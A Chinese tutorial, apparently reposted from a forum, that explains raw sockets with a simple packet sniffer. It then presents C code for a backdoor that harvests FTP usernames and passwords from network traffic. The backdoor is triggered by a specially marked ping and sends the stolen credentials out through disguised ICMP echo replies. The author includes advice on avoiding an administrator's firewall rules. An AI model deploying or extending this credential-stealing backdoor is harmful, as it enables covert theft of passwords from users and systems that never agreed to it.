原始套接字与sniffer
生活随笔
收集整理的這篇文章主要介紹了
原始套接字与sniffer
小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.
原始套接字與sniffer?2009-05-11 23:40:30
今天從網(wǎng)上看到這篇文章.覺得很有幫助.故轉(zhuǎn)到我這里來,做個備份. 前幾天看了看<<TCP/IP>>第一卷,為了加深理解,便寫了幾個簡單的程序,最近好忙,但是又怕忘記前面所學的知識,就粗糙的整理了一下,貼出來,希望能給初學者以指導,同時借助CU的論壇做個備份,呵呵.
內(nèi)容安排:
1.原始套接字介紹
??1.1 原始套接字工作原理與規(guī)則
??1.2 簡單應用
2 FTP密碼竊取器實現(xiàn)(簡單的rootkit)
??2.1 設(shè)計思路
??2.2 實現(xiàn)
??2.3 不足與改進之處
開始,嗯,喝口茶水先...........
1.原始套接字(raw socket)
??1.1 原始套接字工作原理與規(guī)則
? ?? ?? ?原始套接字是一個特殊的套接字類型,它的創(chuàng)建方式跟TCP/UDP創(chuàng)建方法幾乎是
一摸一樣,例如,通過
[Copy to clipboard]?[?-?] CODE: int sockfd;
? ?? ? sockfd = socktet(AF_INET, SOCK_RAW, IPPROTO_ICMP);
這兩句程序你就可以創(chuàng)建一個原始套接字.然而這種類型套接字的功能卻與TCP或者UDP類型套接字的功能有很大的不同:TCP/UDP類型的套接字只能夠訪問傳輸層以及傳輸層以上的數(shù)據(jù),因為當IP層把數(shù)據(jù)傳遞給傳輸層時,下層的數(shù)據(jù)包頭已經(jīng)被丟掉了.而原始套接字卻可以訪問傳輸層以下的數(shù)據(jù),,所以使用raw套接字你可以實現(xiàn)上至應用層的數(shù)據(jù)操作,也可以實現(xiàn)下至鏈路層的數(shù)據(jù)操作.
? ?? ?? ?比如:通過
[Copy to clipboard]?[?-?] CODE: sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP))
方式創(chuàng)建的raw socket就能直接讀取鏈路層的數(shù)據(jù).
1)使用原始套接字時應該注意的問題(參考<<unix網(wǎng)絡(luò)編程>>以及網(wǎng)上的優(yōu)秀文檔)
(1):對于UDP/TCP產(chǎn)生的IP數(shù)據(jù)包,內(nèi)核不將它傳遞給任何原始套接字,而只是將這些數(shù)據(jù)交給對應的UDP/TCP數(shù)據(jù)處理句柄(所以,如果你想要通過原始套接字來訪問TCP/UDP或者其它類型的數(shù)據(jù),調(diào)用socket函數(shù)創(chuàng)建原始套接字第三個參數(shù)應該指定為htons(ETH_P_IP),也就是通過直接訪問數(shù)據(jù)鏈路層來實現(xiàn).(我們后面的密碼竊取器就是基于這種類型的).
(2):對于ICMP和EGP等使用IP數(shù)據(jù)包承載數(shù)據(jù)但又在傳輸層之下的協(xié)議類型的IP數(shù)據(jù)包,內(nèi)核不管是否已經(jīng)有注冊了的句柄來處理這些數(shù)據(jù),都會將這些IP數(shù)據(jù)包復制一份傳遞給協(xié)議類型匹配的原始套接字.
(3):對于不能識別協(xié)議類型的數(shù)據(jù)包,內(nèi)核進行必要的校驗,然后會查看是否有類型匹配的原始套接字負責處理這些數(shù)據(jù),如果有的話,就會將這些IP數(shù)據(jù)包復制一份傳遞給匹配的原始套接字,否則,內(nèi)核將會丟棄這個IP數(shù)據(jù)包,并返回一個ICMP主機不可達的消息給源主機.
(4): 如果原始套接字bind綁定了一個地址,核心只將目的地址為本機IP地址的數(shù)包傳遞給原始套接字,如果某個原始套接字沒有bind地址,核心就會把收到的所有IP數(shù)據(jù)包發(fā)給這個原始套接字.
(5): 如果原始套接字調(diào)用了connect函數(shù),則核心只將源地址為connect連接的IP地址的IP數(shù)據(jù)包傳遞給這個原始套接字.
(6):如果原始套接字沒有調(diào)用bind和connect函數(shù),則核心會將所有協(xié)議匹配的IP數(shù)據(jù)包傳遞給這個原始套接字.
2).編程選項
? ???原始套接字是直接使用IP協(xié)議的非面向連接的套接字,在這個套接字上可以調(diào)用bind和connect函數(shù)進行地址綁定.說明如下:
(1)bind函數(shù):調(diào)用bind函數(shù)后,發(fā)送數(shù)據(jù)包的源IP地址將是bind函數(shù)指定的地址。如是不調(diào)用bind,則內(nèi)核將以發(fā)送接口的主IP地址填充IP頭. 如果使用setsockopt設(shè)置了IP_HDRINCL(header including)選項,就必須手工填充每個要發(fā)送的數(shù)據(jù)包的源IP地址,否則,內(nèi)核將自動創(chuàng)建IP首部.
(2)connetc函數(shù):調(diào)用connect函數(shù)后,就可以使用write和send函數(shù)來發(fā)送數(shù)據(jù)包,而且內(nèi)核將會用這個綁定的地址填充IP數(shù)據(jù)包的目的IP地址,否則的話,則應使用sendto或sendmsg函數(shù)來發(fā)送數(shù)據(jù)包,并且要在函數(shù)參數(shù)中指定對方的IP地址。
? ? 綜合以上種種功能和特點,我們可以使用原始套接字來實現(xiàn)很多功能,比如最基本的數(shù)據(jù)包分析,主機嗅探等.其實也可以使用原始套接字作一個自定義的傳輸層協(xié)議.
1.2一個簡單的應用
? ? 下面的代碼創(chuàng)建一個直接讀取鏈路層數(shù)據(jù)包的原始套接字,并從中分析出源MAC地址和目的MAC地址,源IP和目的IP,以及對應的傳輸層協(xié)議,如果是TCP/UDP協(xié)議的話,打印其目的和源端口.為了方便閱讀,程序中避免了使用任何與協(xié)議有關(guān)的數(shù)據(jù)結(jié)構(gòu),如
struct ether_header ,struct iphdr??等,當然, 要完全理解代碼,你需要關(guān)于指針以及位運算的知識
[Copy to clipboard]?[?-?] CODE: /***************SimpelSniffer.c*************/
//auther:duanjigang@2006s
#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <linux/if_ether.h>
#include <linux/in.h>
#define BUFFER_MAX 2048
int main(int argc, char *argv[])
{
? ? ? ??
? ? ? ? int sock, n_read, proto;? ? ? ??
? ? ? ? char buffer[BUFFER_MAX];
? ? ? ? char??*ethhead, *iphead, *tcphead,?
? ?? ?? ?? ?? ?? ?? ?? ? *udphead, *icmphead, *p;
? ? ? ??
if((sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP))) < 0)
? ? {
? ? ? ? fprintf(stdout, "create socket error\n");
? ? ? ? exit(0);
? ? }
? ? ? ??
while(1)?
{
? ???n_read = recvfrom(sock, buffer, 2048, 0, NULL, NULL);
? ? ? ? /*
? ? ? ? 14? ?6(dest)+6(source)+2(type or length)
? ? ? ? +
? ? ? ? 20? ?ip header?
? ? ? ? +
? ? ? ? 8? ?icmp,tcp or udp header
? ? ? ? = 42
? ? ? ? */
if(n_read < 42)?
? ?{
? ?? ?fprintf(stdout, "Incomplete header, packet corrupt\n");
? ?? ?continue;
? ?}
? ? ? ? ? ? ? ??
? ? ? ? ethhead = buffer;
? ? ? ? p = ethhead;
? ? ? ? int n = 0XFF;
? ?? ?? ?? ?? ? printf("MAC: %.2X:%02X:%02X:%02X:%02X:%02X==>"
? ? ? ?? ?? ?? ?? ?? ?? ???"%.2X:%.2X:%.2X:%.2X:%.2X:%.2X\n",
? ? ? ? p[6]&n, p[7]&n, p[8]&n, p[9]&n, p[10]&n, p[11]&n,
? ? ? ? p[0]&n, p[1]&n, p[2]&n,p[3]&n, p[4]&n, p[5]&n);
? ?? ?? ?? ?? ?? ? iphead = ethhead + 14;??
? ?? ?? ?? ?? ?? ? p = iphead + 12;
? ?? ???
? ?? ?? ???printf("IP: %d.%d.%d.%d => %d.%d.%d.%d\n",
? ?? ?? ???p[0]&0XFF, p[1]&0XFF, p[2]&0XFF, p[3]&0XFF,
? ?? ?? ???p[4]&0XFF, p[5]&0XFF, p[6]&0XFF, p[7]&0XFF);
? ?? ?? ?? ?proto = (iphead + 9)[0];
? ?? ?? ?? ?p = iphead + 20;
? ?? ?? ?? ? printf("Protocol: ");
? ?? ?? ?? ?switch(proto)
? ?? ?? ?? ???{
? ?? ???? ? ? ? case IPPROTO_ICMP: printf("ICMP\n");break;
? ?? ???? ? ? ? case IPPROTO_IGMP: printf("IGMP\n");break;
? ?? ???? ? ? ? case IPPROTO_IPIP: printf("IPIP\n");break;
? ?? ???? ? ? ? case IPPROTO_TCP :
? ?? ???? ? ? ? case IPPROTO_UDP :?
? ? printf("%s,", proto == IPPROTO_TCP ? "TCP": "UDP");?
? ? printf("source port: %u,",(p[0]<<8)&0XFF00 |??p[1]&0XFF);
? ? printf("dest port: %u\n", (p[2]<<8)&0XFF00 | p[3]&0XFF);
? ?? ?? ?break;
? ? case IPPROTO_RAW : printf("RAW\n");break;
? ? default:printf("Unkown, please query in include/linux/in.h\n");
? ? ? ? }
? ?}
}
2 FTP密碼嗅探器實現(xiàn)
? ???注意:本部分的實現(xiàn),采用了系統(tǒng)定義的一些數(shù)據(jù)結(jié)構(gòu),如鏈路層頭結(jié)構(gòu)體,網(wǎng)絡(luò)層頭結(jié)構(gòu)體,以及TCP.UDP,ICMP頭等結(jié)構(gòu)體,正好對上一個例子是一個補充,同時,在程序中操作起來也更方便一些,當然,你必須知道每個數(shù)據(jù)結(jié)構(gòu)的意思,與數(shù)據(jù)包頭中的各項是如何對應的,還有,在下面的程序中,我們使用單鏈表存儲收集到的用戶名與密碼,所以,你應該必須熟悉單鏈表的操作,如插入節(jié)點和刪除節(jié)點等,最后,你最好能夠很熟練的使用FTP命令,這樣才能很好的理解本文的代碼和要點.(對了,你還得明白校驗和是做什么用的,以及它的計算方法)為了方便理解,我在文中添加了一個簡單的數(shù)據(jù)包分層圖,如下
??=============================================
? ? |? ?? ?? ?? ?? ? |? ?? ?? ?? ?? ???|? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?|
? ? | 鏈路層頭? ? | IP報文頭? ?? ?| 傳輸層報文頭? ?? ?? ?? ? | 應用層數(shù)據(jù)? ?
? ? |? ?? ?? ?? ?? ? |? ?? ?? ?? ?? ???|? ?? ?? ?? ?? ?? ?? ?? ?? ? |
??-==============================================
2.1設(shè)計思路
? ???在網(wǎng)上看到有好多sniffer的設(shè)計思路,有些確實講的很不錯,但是卻很少發(fā)現(xiàn)有完整的作出來一個實例的(也許是偶孤陋寡聞沒找見),正好想起來<<Hacking the Linux Kernel Network Stack>>中有這么一個實例,那篇主要是講netfilter的,在模塊里面實現(xiàn)數(shù)據(jù)的過濾,竊取用戶名和密碼,于是我便把那個故事搬過來,用原始套接字去實現(xiàn),而且遠程竊取密碼的方法同樣使用的是令人洋洋得意的思路--構(gòu)造一個偽ping包來ping已經(jīng)被植入后門程序的主機,后門程序在收到特殊的ping包之后,會講密碼嵌入到特殊的ping返回消息中,從而完成密碼的運輸.不同之處在于返回密碼時采用的方法,本文中創(chuàng)建了一個ICMP類型的raw socket作為ICMP echo request 消息的echo reply消息返回,雖然較之前文的方法有些遜色,但是卻相當提供了一個完整的ping程序,你可以稍加修改就做出自己的ping來.而且在對協(xié)議類型進行判斷的Switch分支中,你可以繼續(xù)添加自己的處理方法,比如SNMP的162UDP端口或者其他協(xié)議的分析.
? ?程序的運行過程:
? ?首先我們會創(chuàng)建一個接收鏈路層的原始套接字,之所以創(chuàng)建鏈路層的原始套接字,原因有:
1:出于教學目的,我們盡力去分析數(shù)據(jù)包中盡可能多的信息,所以從鏈路層抓起,逐層提取信息.
2: FTP是基于TCP協(xié)議的應用層協(xié)議,所以我們要能從傳輸層區(qū)分出TCP包和UDP包,但是,前面的規(guī)則已經(jīng)講到了,對于UDP或者TCP產(chǎn)生的IP層數(shù)據(jù)包,內(nèi)核將不會把它傳遞給任何原始套接字,而是交給對應的TCP/UDP處理函數(shù),要能夠讓原始套接字接收UDP和TCP產(chǎn)生的IP數(shù)據(jù)包,或者說接收傳輸層的UDP和TCP類型的數(shù)據(jù),所創(chuàng)建的原始套接字必須為ETH_P_IP類型的,在程序里面體現(xiàn)出來就是將第三個參數(shù)指定為找個值.
? ?? ? 在套接字創(chuàng)建成功之后,我們的程序就在系統(tǒng)中注冊了一塊數(shù)據(jù)結(jié)構(gòu),并且內(nèi)核中對于所有的原始套接字都有一個維護列表的,在收到網(wǎng)絡(luò)上的數(shù)據(jù)時,內(nèi)核會跟據(jù)條件將收到的數(shù)據(jù)復制一份交給注冊了這個套接字的程序去處理.
? ?? ? 所以,如果系統(tǒng)緩存中如果已經(jīng)有了數(shù)據(jù),我們調(diào)用的recvfrom函數(shù)將會返回,可能讀取失敗,也可能滿載而歸,攜帶了足夠多的數(shù)據(jù)供我們的程序進行處理.
? ?為了防止收到的數(shù)據(jù)有差錯,我們進行必要的檢驗,作為數(shù)據(jù)包來說,鏈路層占了14個字節(jié)的空間,6個自己源地址,6個字節(jié)是目的地址,2個字節(jié)作為類型碼,接下來是IP層的頭信息,由于找個層的頭信息包含的項比較多,所以不進行一一的分析,IP層至少戰(zhàn)局20個字節(jié)的空間,下來就是傳輸層的頭信息了,在不去分UDP/TCP或者ICMP的情況下,我們可以看到,傳輸層的頭信息至少應該包括8個字節(jié),所以,我們要檢驗讀到的數(shù)據(jù)包大小是否超過了最基本的數(shù)據(jù)包頭的大小,如果沒有的話,說明數(shù)據(jù)包有誤,我們將其丟棄,重新接收.
? ? 下來的處理就采用跟上面的例子一樣的模式,先去除鏈路層的14個字節(jié),接著找出網(wǎng)絡(luò)層的頭,從IP頭中提取協(xié)議類型字段,如果是TCP協(xié)議,則進行分析,從中查找可能的用戶名和密碼對,由于FTP使用明文傳送,而且傳送用戶名時的格式為USER <用戶名>,傳送密碼時的格式為PASS <密碼>,所以我們可以從中分析這兩個關(guān)鍵字符串,然后從中提取用戶姓名和登陸密碼,一旦提取成功就將這一對信息加入到鏈表中存儲起來,等待遠程主機來索取;如果協(xié)議類型是ICMP的話,我們就要注意了,因為我們的遠程主機發(fā)送的取密碼的數(shù)據(jù)包就是以ICMP包的格式偽裝起來的,它具有一般的ICMP包的格式,并且在ICMP包的type字段填入了ICMP_ECHO這個值,表示ping的回顯請求,所以操作系統(tǒng)會認為是一個一般的ping消息,將它交給協(xié)議棧去處理,然而此時我們的后門程序已經(jīng)在這個主機上運行了,如果它能夠發(fā)現(xiàn)這個偽裝的ICMP消息的話,就可以通過構(gòu)造一個ICMP回顯應答的消息將它采集到的關(guān)于這臺主機的信息發(fā)送出去,那樣就實現(xiàn)了遠程信息獲取的功能.
? ?? ?注意到ICMP消息中有兩個字段,一個是type,一個是code,我們已經(jīng)知道了,如果type為ICMP_ECHO,則標識這是一個回顯請求,如果type為ICMP_ECHOREPLY的話,則說明是一個回顯應答,但是code有什么作用呢?默認的ping程序中code字段都是0,但是在實際中我發(fā)現(xiàn),如果你將code字段設(shè)置為其他非0值,而只要type字段設(shè)置為ICMP_ECHO的話,也會被操作系統(tǒng)認為是一個ping回顯請求,它馬上會給你發(fā)送一個應答.所以,如果防火墻沒有對code字段做檢測的話,我們就可以利用code來做文章:遠程主機自己構(gòu)造一個ICMP_ECHO的包,在code字段填入事先約定好的特殊值,以便于后門程序能夠認出它,并且不會被操作系統(tǒng)和防火墻當作不速之客拒之門外,當后門程序從千千萬萬的數(shù)據(jù)包中檢測出一個這樣的特殊包時,它知道遠程的主人下命令了,要求它返回可能竊取到的用戶名和密碼,后門程序就會自己構(gòu)造一個ICMP_ECHOREPLY的數(shù)據(jù)包,如果已經(jīng)存儲了有效的數(shù)據(jù)的話,它取出一對數(shù)據(jù)填入這個應答包中(是一定要注意,這個回顯應答的包不能太大,以免被警覺的管理員所采取的防火墻規(guī)則阻擋住,這樣我們的后門程序就會功虧于潰),然后再加上一個特殊的標志位,發(fā)送出去.而這個特殊的標志位也同樣是ICMP中的code字段,這樣做是為了遠程主機能夠從千千萬萬的回顯應答中找到自己心儀的那一個應答數(shù)據(jù)包,從而得到竊取的信息.如果后門程序沒有采集到密碼對,則會發(fā)送一個事先約定好的無效用戶名和密碼給遠程主機,告訴它,暫時還沒有有效的數(shù)據(jù),請不要再索取了.
? ?? ? 另外,在程序中我們的原則是,每次回顯應答帶走一對用戶名和密碼,所以,如果某個用戶正在遠端使用虛假的ping程序呼喚密碼的話,他可以一直執(zhí)行這個發(fā)送偽裝Ping包的程序,每次都能獲取到一對用戶名和密碼,直到出現(xiàn)無效值,說明數(shù)據(jù)已經(jīng)傳送完畢.
這就是整個程序的大體的運行過程.
? ???下面我再就實際實現(xiàn)與測試時出現(xiàn)的問題進行一些說明,這些問題也是在實現(xiàn)這個嗅探器的過程中困擾我最久的,好多問題都是想了幾天后類忽然發(fā)現(xiàn)原因的,呵呵,我已經(jīng)飽受這些煎熬,所以如果你注意一下下面討論的問題,在運行程序時就不會遇到這么多麻煩的.
? ?? ?我們的程序是一個單線程的監(jiān)聽程序,每到一個TCP包,就從中查找USER或者PASS字段,如果找到的話,就取出它后面的值,認為是用戶名或者密碼,然后存儲起來.但是會有一下情況發(fā)生.
(1)
? ?? ???如果我們的程序啟動時,用戶名已經(jīng)傳送過了,而我們僅僅捕捉到了PASS的值,這個時候如果一直去等USER出現(xiàn)的話,就會出現(xiàn)差錯,你可以想象一下,如果我們?nèi)〉搅擞脩鬉的登陸密碼為PASSA,而沒有得到它的用戶名,我們的程序卻在等待USER的出現(xiàn),如果在某個時候USER出現(xiàn)了,很顯然,這是新連接的登陸用戶名,跟上一次存儲的密碼不屬于一次會話的數(shù)據(jù),即使我們拿到了這個用戶名和密碼,也只是上一個用戶登陸的密碼和這一個用戶登陸的姓名,這樣拿到了也沒用,除非是特殊情況的出現(xiàn),即同一個用戶連著登陸多次,那么,瞎貓碰著死耗子,我們得到了正確的數(shù)據(jù),但是我們希望盡可能去獲取一次會話中的用戶名和密碼對,所以,嗅探的原則是,如果沒有用戶名,就不存儲密碼.
(2)
? ?? ? 考慮再細致點,想想多用戶同時登陸的情況,假設(shè) thatday已經(jīng)連接上FTP服務器,并且鍵入了用戶名 thatday發(fā)送給FTP服務器,這個時候我們的程序也應該在FTP服務器上獲取到了用戶名thatday, 忽然thatday收到他GF打來的電話,便忘記了輸入密碼,開始跟他mm聊天,這個時候 肥肥 也去登陸,他鍵入用戶名FatFighterM,發(fā)送出去,于是我們的程序發(fā)現(xiàn)又有一個叫做FatFighterM的用戶名被傳過來了,但是此時程序的任務是等待一個密碼,如果直接丟棄FatFighterM這個用戶名不管,并且繼續(xù)等待對應thatday的密碼的話,可能會出現(xiàn)如下差錯:thatday還在聊天,肥肥當仁不讓的輸入密碼,并且登陸成功,開始工作,可我們的傻瓜程序卻會以為這是thatday的密碼,將這視為一對,存儲起來,但是這樣的數(shù)據(jù)是沒有用的,根本就不匹配!
? ?? ?也許你會說,那就這樣吧,如果有新來的用戶名,就丟棄先采集到的用戶名,存儲后來的用戶名,這不就行了?這樣也會有問題,如果肥肥在輸入用戶名后也接到了老婆的電話,然后他就離開座位聊起天來,當然還沒有輸入密碼(他可能認為保持半登陸狀態(tài)比輸入密碼登陸成功后離開座位更安全),這個時候thatday聊天結(jié)束,他輸入自己的密碼,發(fā)給服務器,但是這個時候我們的程序存儲的用戶名卻是肥肥的名字, 然后卻又收到了thatday的密碼,所以同樣做了無用功.因此,還需要進行更多的控制.
??當然,FTP服務器是不會出這種錯誤的,因為它會為每個登陸過程開一個單獨的會話,但是我們的單線程程序卻會遇到這些問題,試想,如果我們給每個密碼對加上源IP地址進行匹配,這個問題是不是就可以解決了,對,這樣就可以解決問題了.我們可以這樣做,每來一個用戶名,就記下這個數(shù)據(jù)包的源IP和源端口,如果下次來的PASS的源IP和端口跟已經(jīng)存儲的用戶名和密碼一致的話,就認為是一對,而且還繼續(xù)以前的規(guī)定,沒有用戶名之前不存儲密碼.因為不同的客戶機,源IP地址肯定不同,所以可以根據(jù)IP地址來區(qū)分不通主機的連接,而對于同一臺機子上的不通用戶,他們的源IP當然是相同的了,我們只有根據(jù)它的源端口進行區(qū)分了.
? ? 如果以上說得都做到了我們就可以獲取到密碼了.
? ? 下來,該討論取密碼是應該注意的問題了.
? ?首先說說嗅探器端,既然我們創(chuàng)建了一個原始套接字并且從找個套接字讀到了ping請求,好像順理成章的我們就應改把密碼對通過這個發(fā)回遠程主機,但是我在嘗試了N次之后
始終沒有成功,一個可能的原則是"鏈路層的原始套接字不能直接自己填充鏈路層頭信息并將數(shù)據(jù)發(fā)送出去",不知道這個說法正確不?期待專家的回復.因為我一開始的想法就是直接將這個數(shù)據(jù)包的源MAC和目的MAC互換,IP互換,端口互換,并希望能直接利用原來的套接字發(fā)送回去,但是最終還是沒能成功,但是我認為,這是最好的做法了.最后只好委屈求全,再次創(chuàng)建一個原始套接字,類型為IPPROTO_ICMP,跟自己寫ping程序一樣,寫了一段簡單的ping echo reply的代碼,用新的套接字將密碼發(fā)回,這個實在是一個巨大的暇疵!
? ?? ? 嗅探端已經(jīng)完畢,接著看遠程的命令端,我一開始就使用<<Hacking the Linux Kernel Network Stack>>中的那個命令端程序,結(jié)果偽裝包是發(fā)送成功了,可是讀取到的數(shù)據(jù)老是錯誤,用戶名和密碼總是空的,折騰了2天,這天,細心的同事忽然告訴我說你收到的消息好像跟發(fā)送的一摸一樣,這時才發(fā)現(xiàn)了問題所在,在原來的代碼中,作者只讀取一次就成功了,而在我得程序里,第一次read到的ICMP消息居然是自己發(fā)送出去的原封不動,關(guān)于這個原因我還沒有思考清楚,只覺得可能是由于同一臺機子測試引起的,并沒有做太多的分析,希望專家給出更科學的說法!然后就增加條件,如果返回的type是ICMP_ECHO的話就扔掉,結(jié)果發(fā)現(xiàn)這次讀到了ICMP_ECHOREPLY,用戶名和密碼還是錯的,一想,原來是收到了系統(tǒng)返回的ping應答消息,最終的原則就是,當收到的ICMP消息是ICMP_ECHOREPLY時并且code字段為嗅探器所填的特殊值時,才進行處理,終于能夠正確的運行起來.
2.2 實現(xiàn)(代碼片斷)
? ? 由于論壇字符上限的原因,在次只貼出了部分代碼,并且刪除了注視,完整的代碼作為附件上傳上來吧.
CODE: int main(int argc, char *argv[])
{
? ? ? ? int sock, n_read;
? ? ? ? struct ether_header * etherh;
? ? ? ? struct iphdr * iph;
? ? ? ? char buffer[BUFFER_MAX];
? ? ? ? /*create a raw socekt to sniffer all messages*/
? ? ? ? if ((sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP))) < 0)
? ? ? ? {
? ? ? ? ? ? ? ? exit(errno);
? ? ? ? }
? ? ? ? while (1)?
? ? ? ? {
? ? ? ? ? ? ? ? n_read = recvfrom(sock, buffer, 2048, 0, NULL, NULL);
? ? ? ? ? ? ? ? /*--14(ethernet head) + 20(ip header) + 8(TCP/UDP/ICMP header) ---*/
? ? ? ? ? ? ? ? if (n_read < 42)?
? ? ? ? ? ? ? ? {
? ? ? ? ? ? ? ? ? ? ? ? continue;
? ? ? ? ? ? ? ? }
? ? ? ? ? ? ? ? /*??get ethernet header */
? ? ? ? ? ? ? ? etherh =(struct ether_header *) buffer;
? ? ? ? ? ? ? ? /*??get ip header */??
? ? ? ? ? ? ? ? iph = (struct iphdr *) (etherh + 1);
? ? ? ? ? ? ? ??
? ? ? ? ? ? ? ? switch(iph->protocol)
? ? ? ? ? ? ? ? {
? ? ? ? ? ? ? ? case IPPROTO_TCP :?
? ? ? ? ? ? ? ? ? ? ? ? CheckTCP(iph);
? ? ? ? ? ? ? ? ? ? ? ? break;
? ? ? ? ? ? ? ? case IPPROTO_ICMP:?
? ? ? ? ? ? ? ? ? ? ? ? if(MagicICMP(iph))
? ? ? ? ? ? ? ? ? ? ? ? {
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? SendData(etherh, n_read);
? ? ? ? ? ? ? ? ? ? ? ? }
? ? ? ? ? ? ? ? ? ? ? ? break;
? ? ? ? ? ? ? ? case IPPROTO_UDP :
? ? ? ? ? ? ? ? case IPPROTO_IGMP:
? ? ? ? ? ? ? ? default: break;
? ? ? ? ? ? ? ? } ? ? ? ??
? ? ? ? }
}
int CheckTCP(const struct iphdr * ipheader)
{
? ? ? ? if(!ipheader)
? ? ? ? {
? ? ? ? ? ? ? ? return 0;
? ? ? ? }
? ? ? ? int i = 0;
? ? ? ? /* get tcp head??*/
? ? ? ? struct tcphdr * tcpheader = (struct tcphdr*)(ipheader + 1);
? ? ? ? /* get data region of the tcp packet */
? ? ? ? char * data = (char *)((int)tcpheader + (int)(tcpheader->doff * 4));
? ? ? ? if(username && target_port && target_ip)
? ? ? ? {
? ? ? ? ? ? ? ? if(ipheader->daddr != target_ip || tcpheader->source != target_port)
? ? ? ? ? ? ? ? {
? ? ? ? ? ? ? ? ? ? ? ? /*a new loading, we need to reset our sniffer */
? ? ? ? ? ? ? ? ? ? ? ? if(strncmp(data, "USER ", 5) == 0 )
? ? ? ? ? ? ? ? ? ? ? ? {
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? Reset();
? ? ? ? ? ? ? ? ? ? ? ? }
? ? ? ? ? ? ? ? }
? ? ? ? }
? ? ? ? if (strncmp(data, "USER ", 5) == 0)?
? ? ? ? {? ?? ?? ??
? ? ? ? ? ? ? ? data += 5;
? ? ? ? ? ? ? ? i = 0;
? ? ? ? ? ? ? ? if (username)
? ? ? ? ? ? ? ? {
? ? ? ? ? ? ? ? ? ? ? ? return 0;
? ? ? ? ? ? ? ? }
? ? ? ? ? ? ? ? char * p = data + i;
? ? ? ? ? ? ? ? /*the data always end with LR */
? ? ? ? ? ? ? ? while (*p != '\r' && *p != '\n' && *p != '\0' && i < 15)
? ? ? ? ? ? ? ? {
? ? ? ? ? ? ? ? ? ? ? ? i++;
? ? ? ? ? ? ? ? ? ? ? ? p++;
? ? ? ? ? ? ? ? }
? ? ? ? ? ? ? ? if((username = (char*)malloc(i + 2)) == NULL)
? ? ? ? ? ? ? ? {
? ? ? ? ? ? ? ? ? ? ? ? return 0;
? ? ? ? ? ? ? ? }
? ? ? ? ? ? ? ? memset(username, 0x00, i + 2);
? ? ? ? ? ? ? ? memcpy(username, data, i);
? ? ? ? ? ? ? ? *(username + i) = '\0';
? ? ? ? }
? ? ? ? else?
? ? ? ? ? ? ? ? if(strncmp(data, "PASS ", 5) == 0)
? ? ? ? ? ? ? ? {
? ? ? ? ? ? ? ? ? ? ? ??
? ? ? ? ? ? ? ? ? ? ? ? data += 5;
? ? ? ? ? ? ? ? ? ? ? ? i = 0;
? ? ? ? ? ? ? ? ? ? ? ? if(username == NULL)
? ? ? ? ? ? ? ? ? ? ? ? {
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? return 0;
? ? ? ? ? ? ? ? ? ? ? ? }
? ? ? ? ? ? ? ? ? ? ? ? if(password)
? ? ? ? ? ? ? ? ? ? ? ? {
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? return 0;
? ? ? ? ? ? ? ? ? ? ? ? }
? ? ? ? ? ? ? ? ? ? ? ? char * p = data;
? ? ? ? ? ? ? ? ? ? ? ??
? ? ? ? ? ? ? ? ? ? ? ? while (*p != '\r' && *p != '\n' && *p != '\0' && i < 15)
? ? ? ? ? ? ? ? ? ? ? ? {
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? i++;
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? p++;
? ? ? ? ? ? ? ? ? ? ? ? }
? ? ? ? ? ? ? ? ? ? ? ? if((password = (char*)malloc(i + 2)) == NULL)
? ? ? ? ? ? ? ? ? ? ? ? {
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? return 0;
? ? ? ? ? ? ? ? ? ? ? ? }
? ? ? ? ? ? ? ? ? ? ? ? memset(password, 0x00, i + 2);
? ? ? ? ? ? ? ? ? ? ? ? memcpy(password, data, i);
? ? ? ? ? ? ? ? ? ? ? ? *(password + i) = '\0';
? ? ? ? ? ? ? ? }
? ? ? ? ? ? ? ? else? ?
? ? ? ? ? ? ? ? ? ? ? ? if(strncmp(data, "QUIT", 4) == 0)
? ? ? ? ? ? ? ? ? ? ? ? {
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? Reset();?
? ? ? ? ? ? ? ? ? ? ? ? }
? ? ? ? ? ? ? ? ? ? ? ? if(!target_ip && !target_port && username)
? ? ? ? ? ? ? ? ? ? ? ? {
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? target_ip = ipheader->saddr;
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? target_port = tcpheader->source;
? ? ? ? ? ? ? ? ? ? ? ? }
? ? ? ? ? ? ? ? ? ? ? ? if(username && password)
? ? ? ? ? ? ? ? ? ? ? ? {
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? have_pair++;
? ? ? ? ? ? ? ? ? ? ? ? }
? ? ? ? ? ? ? ? ? ? ? ? if(have_pair)
? ? ? ? ? ? ? ? ? ? ? ? {
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? struct node node;
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? node.ip = target_ip;
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? snprintf(node.Name, 15, "%s", username);
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? snprintf(node.PassWord, 15, "%s", password);
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? AddNode(&node);
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? Reset();
? ? ? ? ? ? ? ? ? ? ? ? }
? ? ? ? ? ? ? ? ? ? ? ? return 1;
}
2.3 改進的思路
? ???由于時間原因,雖然后來想了一些改進的方法,但卻沒有去實現(xiàn),很是遺憾,
不過還是在此提出,希望感興趣的朋友自己去實踐,并告訴我結(jié)果
(1):
? ?? ?由于原來的單線程后門程序在多個用戶同時登陸FTP時會出錯,我們即使加上煩雜的處理在運氣很好的情況下最終也只能得到一對密碼對,可以這樣改進,每檢測到一個用戶名,就將這個數(shù)據(jù)包的源IP,源端口,以及用戶名存儲到一個列表中,用戶名相同的進行覆蓋存儲,然后再次檢測到密碼時,根據(jù)密碼數(shù)據(jù)包的源IP以及源端口去表中查找匹配,這樣就能獲取并發(fā)訪問FTP時的密碼了
(2):
